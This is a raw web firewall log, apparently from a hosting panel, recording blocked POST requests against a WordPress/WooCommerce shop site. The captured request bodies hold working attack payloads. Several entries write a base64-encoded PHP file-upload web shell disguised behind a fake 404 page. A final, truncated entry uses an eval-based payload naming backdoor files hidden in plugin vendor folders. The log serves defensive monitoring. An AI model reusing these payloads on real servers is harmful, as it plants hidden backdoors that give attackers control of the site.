["2026-04-28 22:36:23","138.68.165.196","POST","\/wp.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 Version\/15.1 Safari\/605.1.15","post","base64_decode\\( >> css:echo 'rcking';fwrite(fopen($_SERVER['DOCUMENT_ROOT'].'\/about.php','w+'),base64_decode('PD9waHAgCmVycm9yX3JlcG9ydGluZyhFX0VSUk9SIHwgRV9QQVJTRSk7CmlmICgkX0dFVFsia2V5Il0gPT0gInJja2luZyIpewplY2hvICI8Yj5YNy1ST09UPC9iPjxicj4iOwplY2hvICc8Yj5TeXN0ZW0gSW5mbzo8L2I+ICcucGhwX3VuYW1lKCk7CmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7CmVjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI1MCI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT4nOwppZiggJF9QT1NUWydfdXBsJ10gPT0gIlVwbG9hZCIgKSB7CmlmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7CmVjaG8gJzxiPlN1Y2Nlc3NmdWxseSE8L2I+PGJyPjxicj4nOyAKfWVsc2V7IGVjaG8gJ0ZhaWxlZCE8L2I+PGJyPjxicj4nOyB9fQp9ZWxzZXsKJGRvbWFpbiA9ICRfU0VSVkVSWydTRVJWRVJfTkFNRSddOwplY2hvJzxodG1sPjxoZWFkPgo8dGl0bGU+NDA0IE5vdCBGb3VuZDwvdGl0bGU+CjwvaGVhZD48Ym9keT4KPGgxPk5vdCBGb3VuZDwvaDE+CjxwPlRoZSByZXF1ZXN0ZWQgVVJMIHdhcyBub3QgZm91bmQgb24gdGhpcyBzZXJ2ZXIuPC9wPgo8L2JvZHk+PC9odG1sPic7fQo\/Pg=='));","POST \/wp.php HTTP\/1.1\naccept-encoding:gzip, deflate\nupgrade-insecure-requests:1\ncache-control:max-age=0\nreferer:www.google.com\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:1143\naccept-language:en-US,en;q=0.9,fr;q=0.8\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 Version\/15.1 Safari\/605.1.15\nconnection:keep-alive\naccept:text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,image\/apng,*\/*;q=0.8\n\ncss=echo 'rcking';fwrite(fopen($_SERVER['DOCUMENT_ROOT'].'\/about.php','w+'),base64_decode('PD9waHAgCmVycm9yX3JlcG9ydGluZyhFX0VSUk9SIHwgRV9QQVJTRSk7CmlmICgkX0dFVFsia2V5Il0gPT0gInJja2luZyIpewplY2hvICI8Yj5YNy1ST09UPC9iPjxicj4iOwplY2hvICc8Yj5TeXN0ZW0gSW5mbzo8L2I+ICcucGhwX3VuYW1lKCk7CmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7CmVjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI1MCI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT4nOwppZiggJF9QT1NUWydfdXBsJ10gPT0gIlVwbG9hZCIgKSB7CmlmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7CmVjaG8gJzxiPlN1Y2Nlc3NmdWxseSE8L2I+PGJyPjxicj4nOyAKfWVsc2V7IGVjaG8gJ0ZhaWxlZCE8L2I+PGJyPjxicj4nOyB9fQp9ZWxzZXsKJGRvbWFpbiA9ICRfU0VSVkVSWydTRVJWRVJfTkFNRSddOwplY2hvJzxodG1sPjxoZWFkPgo8dGl0bGU+NDA0IE5vdCBGb3VuZDwvdGl0bGU+CjwvaGVhZD48Ym9keT4KPGgxPk5vdCBGb3VuZDwvaDE+CjxwPlRoZSByZXF1ZXN0ZWQgVVJMIHdhcyBub3QgZm91bmQgb24gdGhpcyBzZXJ2ZXIuPC9wPgo8L2JvZHk+PC9odG1sPic7fQo\/Pg=='));"]
["2026-04-28 22:36:24","138.68.165.196","POST","\/hoot.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 Chrome\/120.0.0.0 Safari\/537.36","post","base64_decode\\( >> css:echo 'rcking';fwrite(fopen($_SERVER['DOCUMENT_ROOT'].'\/about.php','w+'),base64_decode('PD9waHAgCmVycm9yX3JlcG9ydGluZyhFX0VSUk9SIHwgRV9QQVJTRSk7CmlmICgkX0dFVFsia2V5Il0gPT0gInJja2luZyIpewplY2hvICI8Yj5YNy1ST09UPC9iPjxicj4iOwplY2hvICc8Yj5TeXN0ZW0gSW5mbzo8L2I+ICcucGhwX3VuYW1lKCk7CmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7CmVjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI1MCI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT4nOwppZiggJF9QT1NUWydfdXBsJ10gPT0gIlVwbG9hZCIgKSB7CmlmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7CmVjaG8gJzxiPlN1Y2Nlc3NmdWxseSE8L2I+PGJyPjxicj4nOyAKfWVsc2V7IGVjaG8gJ0ZhaWxlZCE8L2I+PGJyPjxicj4nOyB9fQp9ZWxzZXsKJGRvbWFpbiA9ICRfU0VSVkVSWydTRVJWRVJfTkFNRSddOwplY2hvJzxodG1sPjxoZWFkPgo8dGl0bGU+NDA0IE5vdCBGb3VuZDwvdGl0bGU+CjwvaGVhZD48Ym9keT4KPGgxPk5vdCBGb3VuZDwvaDE+CjxwPlRoZSByZXF1ZXN0ZWQgVVJMIHdhcyBub3QgZm91bmQgb24gdGhpcyBzZXJ2ZXIuPC9wPgo8L2JvZHk+PC9odG1sPic7fQo\/Pg=='));","POST \/hoot.php HTTP\/1.1\naccept-encoding:gzip, deflate\nupgrade-insecure-requests:1\ncache-control:max-age=0\nreferer:www.google.com\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:1143\naccept-language:en-US,en;q=0.9,fr;q=0.8\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 Chrome\/120.0.0.0 Safari\/537.36\nconnection:keep-alive\naccept:text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,image\/apng,*\/*;q=0.8\n\ncss=echo 'rcking';fwrite(fopen($_SERVER['DOCUMENT_ROOT'].'\/about.php','w+'),base64_decode('PD9waHAgCmVycm9yX3JlcG9ydGluZyhFX0VSUk9SIHwgRV9QQVJTRSk7CmlmICgkX0dFVFsia2V5Il0gPT0gInJja2luZyIpewplY2hvICI8Yj5YNy1ST09UPC9iPjxicj4iOwplY2hvICc8Yj5TeXN0ZW0gSW5mbzo8L2I+ICcucGhwX3VuYW1lKCk7CmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7CmVjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI1MCI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT4nOwppZiggJF9QT1NUWydfdXBsJ10gPT0gIlVwbG9hZCIgKSB7CmlmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7CmVjaG8gJzxiPlN1Y2Nlc3NmdWxseSE8L2I+PGJyPjxicj4nOyAKfWVsc2V7IGVjaG8gJ0ZhaWxlZCE8L2I+PGJyPjxicj4nOyB9fQp9ZWxzZXsKJGRvbWFpbiA9ICRfU0VSVkVSWydTRVJWRVJfTkFNRSddOwplY2hvJzxodG1sPjxoZWFkPgo8dGl0bGU+NDA0IE5vdCBGb3VuZDwvdGl0bGU+CjwvaGVhZD48Ym9keT4KPGgxPk5vdCBGb3VuZDwvaDE+CjxwPlRoZSByZXF1ZXN0ZWQgVVJMIHdhcyBub3QgZm91bmQgb24gdGhpcyBzZXJ2ZXIuPC9wPgo8L2JvZHk+PC9odG1sPic7fQo\/Pg=='));"]
["2026-04-28 22:36:26","138.68.165.196","POST","\/about.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 Chrome\/120.0.0.0 Safari\/537.36","post","base64_decode\\( >> css:echo 'rcking';fwrite(fopen($_SERVER['DOCUMENT_ROOT'].'\/about.php','w+'),base64_decode('PD9waHAgCmVycm9yX3JlcG9ydGluZyhFX0VSUk9SIHwgRV9QQVJTRSk7CmlmICgkX0dFVFsia2V5Il0gPT0gInJja2luZyIpewplY2hvICI8Yj5YNy1ST09UPC9iPjxicj4iOwplY2hvICc8Yj5TeXN0ZW0gSW5mbzo8L2I+ICcucGhwX3VuYW1lKCk7CmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7CmVjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI1MCI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT4nOwppZiggJF9QT1NUWydfdXBsJ10gPT0gIlVwbG9hZCIgKSB7CmlmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7CmVjaG8gJzxiPlN1Y2Nlc3NmdWxseSE8L2I+PGJyPjxicj4nOyAKfWVsc2V7IGVjaG8gJ0ZhaWxlZCE8L2I+PGJyPjxicj4nOyB9fQp9ZWxzZXsKJGRvbWFpbiA9ICRfU0VSVkVSWydTRVJWRVJfTkFNRSddOwplY2hvJzxodG1sPjxoZWFkPgo8dGl0bGU+NDA0IE5vdCBGb3VuZDwvdGl0bGU+CjwvaGVhZD48Ym9keT4KPGgxPk5vdCBGb3VuZDwvaDE+CjxwPlRoZSByZXF1ZXN0ZWQgVVJMIHdhcyBub3QgZm91bmQgb24gdGhpcyBzZXJ2ZXIuPC9wPgo8L2JvZHk+PC9odG1sPic7fQo\/Pg=='));","POST \/about.php HTTP\/1.1\naccept-encoding:gzip, deflate\nupgrade-insecure-requests:1\ncache-control:max-age=0\nreferer:www.google.com\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:1143\naccept-language:en-US,en;q=0.9,fr;q=0.8\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 Chrome\/120.0.0.0 Safari\/537.36\nconnection:keep-alive\naccept:text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,image\/apng,*\/*;q=0.8\n\ncss=echo 'rcking';fwrite(fopen($_SERVER['DOCUMENT_ROOT'].'\/about.php','w+'),base64_decode('PD9waHAgCmVycm9yX3JlcG9ydGluZyhFX0VSUk9SIHwgRV9QQVJTRSk7CmlmICgkX0dFVFsia2V5Il0gPT0gInJja2luZyIpewplY2hvICI8Yj5YNy1ST09UPC9iPjxicj4iOwplY2hvICc8Yj5TeXN0ZW0gSW5mbzo8L2I+ICcucGhwX3VuYW1lKCk7CmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7CmVjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI1MCI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT4nOwppZiggJF9QT1NUWydfdXBsJ10gPT0gIlVwbG9hZCIgKSB7CmlmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7CmVjaG8gJzxiPlN1Y2Nlc3NmdWxseSE8L2I+PGJyPjxicj4nOyAKfWVsc2V7IGVjaG8gJ0ZhaWxlZCE8L2I+PGJyPjxicj4nOyB9fQp9ZWxzZXsKJGRvbWFpbiA9ICRfU0VSVkVSWydTRVJWRVJfTkFNRSddOwplY2hvJzxodG1sPjxoZWFkPgo8dGl0bGU+NDA0IE5vdCBGb3VuZDwvdGl0bGU+CjwvaGVhZD48Ym9keT4KPGgxPk5vdCBGb3VuZDwvaDE+CjxwPlRoZSByZXF1ZXN0ZWQgVVJMIHdhcyBub3QgZm91bmQgb24gdGhpcyBzZXJ2ZXIuPC9wPgo8L2JvZHk+PC9odG1sPic7fQo\/Pg=='));"]
["2026-04-28 22:36:27","138.68.165.196","POST","\/admin.php","Mozilla\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\/537.36 Chrome\/108.0.0.0 Safari\/537.36","post","base64_decode\\( >> css:echo 'rcking';fwrite(fopen($_SERVER['DOCUMENT_ROOT'].'\/about.php','w+'),base64_decode('PD9waHAgCmVycm9yX3JlcG9ydGluZyhFX0VSUk9SIHwgRV9QQVJTRSk7CmlmICgkX0dFVFsia2V5Il0gPT0gInJja2luZyIpewplY2hvICI8Yj5YNy1ST09UPC9iPjxicj4iOwplY2hvICc8Yj5TeXN0ZW0gSW5mbzo8L2I+ICcucGhwX3VuYW1lKCk7CmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7CmVjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI1MCI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT4nOwppZiggJF9QT1NUWydfdXBsJ10gPT0gIlVwbG9hZCIgKSB7CmlmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7CmVjaG8gJzxiPlN1Y2Nlc3NmdWxseSE8L2I+PGJyPjxicj4nOyAKfWVsc2V7IGVjaG8gJ0ZhaWxlZCE8L2I+PGJyPjxicj4nOyB9fQp9ZWxzZXsKJGRvbWFpbiA9ICRfU0VSVkVSWydTRVJWRVJfTkFNRSddOwplY2hvJzxodG1sPjxoZWFkPgo8dGl0bGU+NDA0IE5vdCBGb3VuZDwvdGl0bGU+CjwvaGVhZD48Ym9keT4KPGgxPk5vdCBGb3VuZDwvaDE+CjxwPlRoZSByZXF1ZXN0ZWQgVVJMIHdhcyBub3QgZm91bmQgb24gdGhpcyBzZXJ2ZXIuPC9wPgo8L2JvZHk+PC9odG1sPic7fQo\/Pg=='));","POST \/admin.php HTTP\/1.1\naccept-encoding:gzip, deflate\nupgrade-insecure-requests:1\ncache-control:max-age=0\nreferer:www.google.com\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:1143\naccept-language:en-US,en;q=0.9,fr;q=0.8\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\/537.36 Chrome\/108.0.0.0 Safari\/537.36\nconnection:keep-alive\naccept:text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,image\/apng,*\/*;q=0.8\n\ncss=echo 'rcking';fwrite(fopen($_SERVER['DOCUMENT_ROOT'].'\/about.php','w+'),base64_decode('PD9waHAgCmVycm9yX3JlcG9ydGluZyhFX0VSUk9SIHwgRV9QQVJTRSk7CmlmICgkX0dFVFsia2V5Il0gPT0gInJja2luZyIpewplY2hvICI8Yj5YNy1ST09UPC9iPjxicj4iOwplY2hvICc8Yj5TeXN0ZW0gSW5mbzo8L2I+ICcucGhwX3VuYW1lKCk7CmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7CmVjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI1MCI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT4nOwppZiggJF9QT1NUWydfdXBsJ10gPT0gIlVwbG9hZCIgKSB7CmlmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7CmVjaG8gJzxiPlN1Y2Nlc3NmdWxseSE8L2I+PGJyPjxicj4nOyAKfWVsc2V7IGVjaG8gJ0ZhaWxlZCE8L2I+PGJyPjxicj4nOyB9fQp9ZWxzZXsKJGRvbWFpbiA9ICRfU0VSVkVSWydTRVJWRVJfTkFNRSddOwplY2hvJzxodG1sPjxoZWFkPgo8dGl0bGU+NDA0IE5vdCBGb3VuZDwvdGl0bGU+CjwvaGVhZD48Ym9keT4KPGgxPk5vdCBGb3VuZDwvaDE+CjxwPlRoZSByZXF1ZXN0ZWQgVVJMIHdhcyBub3QgZm91bmQgb24gdGhpcyBzZXJ2ZXIuPC9wPgo8L2JvZHk+PC9odG1sPic7fQo\/Pg=='));"]
["2026-04-28 22:36:28","138.68.165.196","POST","\/wp-content\/plugins\/admin.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 Chrome\/120.0.0.0 Safari\/537.36","post","base64_decode\\( >> css:echo 'rcking';fwrite(fopen($_SERVER['DOCUMENT_ROOT'].'\/about.php','w+'),base64_decode('PD9waHAgCmVycm9yX3JlcG9ydGluZyhFX0VSUk9SIHwgRV9QQVJTRSk7CmlmICgkX0dFVFsia2V5Il0gPT0gInJja2luZyIpewplY2hvICI8Yj5YNy1ST09UPC9iPjxicj4iOwplY2hvICc8Yj5TeXN0ZW0gSW5mbzo8L2I+ICcucGhwX3VuYW1lKCk7CmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7CmVjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI1MCI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT4nOwppZiggJF9QT1NUWydfdXBsJ10gPT0gIlVwbG9hZCIgKSB7CmlmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7CmVjaG8gJzxiPlN1Y2Nlc3NmdWxseSE8L2I+PGJyPjxicj4nOyAKfWVsc2V7IGVjaG8gJ0ZhaWxlZCE8L2I+PGJyPjxicj4nOyB9fQp9ZWxzZXsKJGRvbWFpbiA9ICRfU0VSVkVSWydTRVJWRVJfTkFNRSddOwplY2hvJzxodG1sPjxoZWFkPgo8dGl0bGU+NDA0IE5vdCBGb3VuZDwvdGl0bGU+CjwvaGVhZD48Ym9keT4KPGgxPk5vdCBGb3VuZDwvaDE+CjxwPlRoZSByZXF1ZXN0ZWQgVVJMIHdhcyBub3QgZm91bmQgb24gdGhpcyBzZXJ2ZXIuPC9wPgo8L2JvZHk+PC9odG1sPic7fQo\/Pg=='));","POST \/wp-content\/plugins\/admin.php HTTP\/1.1\naccept-encoding:gzip, deflate\nupgrade-insecure-requests:1\ncache-control:max-age=0\nreferer:www.google.com\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:1143\naccept-language:en-US,en;q=0.9,fr;q=0.8\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 Chrome\/120.0.0.0 Safari\/537.36\nconnection:keep-alive\naccept:text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,image\/apng,*\/*;q=0.8\n\ncss=echo 'rcking';fwrite(fopen($_SERVER['DOCUMENT_ROOT'].'\/about.php','w+'),base64_decode('PD9waHAgCmVycm9yX3JlcG9ydGluZyhFX0VSUk9SIHwgRV9QQVJTRSk7CmlmICgkX0dFVFsia2V5Il0gPT0gInJja2luZyIpewplY2hvICI8Yj5YNy1ST09UPC9iPjxicj4iOwplY2hvICc8Yj5TeXN0ZW0gSW5mbzo8L2I+ICcucGhwX3VuYW1lKCk7CmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7CmVjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI1MCI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT4nOwppZiggJF9QT1NUWydfdXBsJ10gPT0gIlVwbG9hZCIgKSB7CmlmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7CmVjaG8gJzxiPlN1Y2Nlc3NmdWxseSE8L2I+PGJyPjxicj4nOyAKfWVsc2V7IGVjaG8gJ0ZhaWxlZCE8L2I+PGJyPjxicj4nOyB9fQp9ZWxzZXsKJGRvbWFpbiA9ICRfU0VSVkVSWydTRVJWRVJfTkFNRSddOwplY2hvJzxodG1sPjxoZWFkPgo8dGl0bGU+NDA0IE5vdCBGb3VuZDwvdGl0bGU+CjwvaGVhZD48Ym9keT4KPGgxPk5vdCBGb3VuZDwvaDE+CjxwPlRoZSByZXF1ZXN0ZWQgVVJMIHdhcyBub3QgZm91bmQgb24gdGhpcyBzZXJ2ZXIuPC9wPgo8L2JvZHk+PC9odG1sPic7fQo\/Pg=='));"]
["2026-04-28 22:36:28","138.68.165.196","POST","\/wp-content\/plugins\/admin.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 Chrome\/120.0.0.0 Safari\/537.36","post","60秒以内累计超过6次以上非法请求,封锁180秒","POST \/wp-content\/plugins\/admin.php HTTP\/1.1\naccept-encoding:gzip, deflate\nupgrade-insecure-requests:1\ncache-control:max-age=0\nreferer:www.google.com\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:1143\naccept-language:en-US,en;q=0.9,fr;q=0.8\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 Chrome\/120.0.0.0 Safari\/537.36\nconnection:keep-alive\naccept:text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,image\/apng,*\/*;q=0.8\n\ncss=echo 'rcking';fwrite(fopen($_SERVER['DOCUMENT_ROOT'].'\/about.php','w+'),base64_decode('PD9waHAgCmVycm9yX3JlcG9ydGluZyhFX0VSUk9SIHwgRV9QQVJTRSk7CmlmICgkX0dFVFsia2V5Il0gPT0gInJja2luZyIpewplY2hvICI8Yj5YNy1ST09UPC9iPjxicj4iOwplY2hvICc8Yj5TeXN0ZW0gSW5mbzo8L2I+ICcucGhwX3VuYW1lKCk7CmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7CmVjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI1MCI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT4nOwppZiggJF9QT1NUWydfdXBsJ10gPT0gIlVwbG9hZCIgKSB7CmlmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7CmVjaG8gJzxiPlN1Y2Nlc3NmdWxseSE8L2I+PGJyPjxicj4nOyAKfWVsc2V7IGVjaG8gJ0ZhaWxlZCE8L2I+PGJyPjxicj4nOyB9fQp9ZWxzZXsKJGRvbWFpbiA9ICRfU0VSVkVSWydTRVJWRVJfTkFNRSddOwplY2hvJzxodG1sPjxoZWFkPgo8dGl0bGU+NDA0IE5vdCBGb3VuZDwvdGl0bGU+CjwvaGVhZD48Ym9keT4KPGgxPk5vdCBGb3VuZDwvaDE+CjxwPlRoZSByZXF1ZXN0ZWQgVVJMIHdhcyBub3QgZm91bmQgb24gdGhpcyBzZXJ2ZXIuPC9wPgo8L2JvZHk+PC9odG1sPic7fQo\/Pg=='));"]
["2026-04-28 22:50:43","213.209.159.254","POST","\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> QlAazG:eval(rawurldecode(\"%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdSharingErrorEnum\/docsql.php%22%3D%3E%22bd%40%40290182191%40%40882%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Binary\/database.mysqli.php%22%3D%3E%22bd%40%40290182196%40%40598%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/lib\/cron-expression\/CronExpression_FieldInterface.php%22%3D%3E%22bd%40%40290182179%40%4017%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/KeywordPlanCampaignKeywordErrorEnum\/CYEC07_2winners.php%